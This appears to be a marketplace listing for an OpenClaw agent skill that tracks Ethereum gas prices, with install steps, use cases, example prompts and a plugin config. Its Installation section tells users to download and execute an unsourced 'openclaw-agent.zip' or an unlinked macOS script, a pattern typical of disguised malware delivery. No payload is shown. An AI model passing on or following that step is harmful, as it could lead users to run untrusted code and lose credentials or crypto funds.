ethereum-gas-tracker
Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.
Why use this skill?
Monitor Ethereum gas prices in real-time, estimate transaction costs, and track EIP-1559 trends using the OpenClaw AI gas tracker skill. Optimize your blockchain costs today.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-leifgWhat This Skill Does
The ethereum-gas-tracker skill is a robust utility for the OpenClaw agent designed to provide real-time visibility into the Ethereum network's current fee environment. By leveraging direct RPC nodes and external oracle services, this skill allows users to fetch precise current gas prices, analyze EIP-1559 fee histories, and perform cost estimations for common blockchain activities like token transfers, NFT mints, and smart contract deployments. It serves as a vital bridge between raw on-chain data and actionable financial decisions, ensuring you never overpay for transactions while navigating the Ethereum ecosystem.
Installation
To begin, ensure you have the core openclaw-agent utility installed. For Windows, download the latest openclaw-agent.zip and execute it. macOS users should follow the installation script found here. Once the agent is operational, install the skill via the command line: clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-leifg.
Use Cases
- Financial Optimization: Calculate the exact cost difference between executing transactions during peak traffic versus off-peak hours.
- Transaction Planning: Determine whether a transaction (like a complex contract swap) is economically viable given the current base fee.
- Market Analysis: Track gas trends over recent blocks to identify cyclical patterns in network demand.
- Strategic Execution: Use recommended priority fees to prioritize transactions during congestion or save funds when throughput is low.
Example Prompts
- "What is the current gas price on Ethereum right now, and how much would it cost to deploy a smart contract?"
- "Show me the recent base fee history for the last 5 blocks to see if the network is currently congested."
- "Recommend a priority fee for an urgent NFT mint to ensure my transaction is processed in the next block."
Tips & Limitations
Note that this skill relies on external RPC providers; connectivity issues can result in delayed data. Always ensure your ETH price baseline is updated manually for accurate fiat cost estimations. For production-grade monitoring, avoid relying solely on a single RPC endpoint, and treat the provided gas estimates as suggestions rather than guarantees for inclusion, as network volatility can occur instantaneously.
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{
"plugins": {
"official-hightower6eu-ethereum-gas-tracker-leifg": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution, external-api
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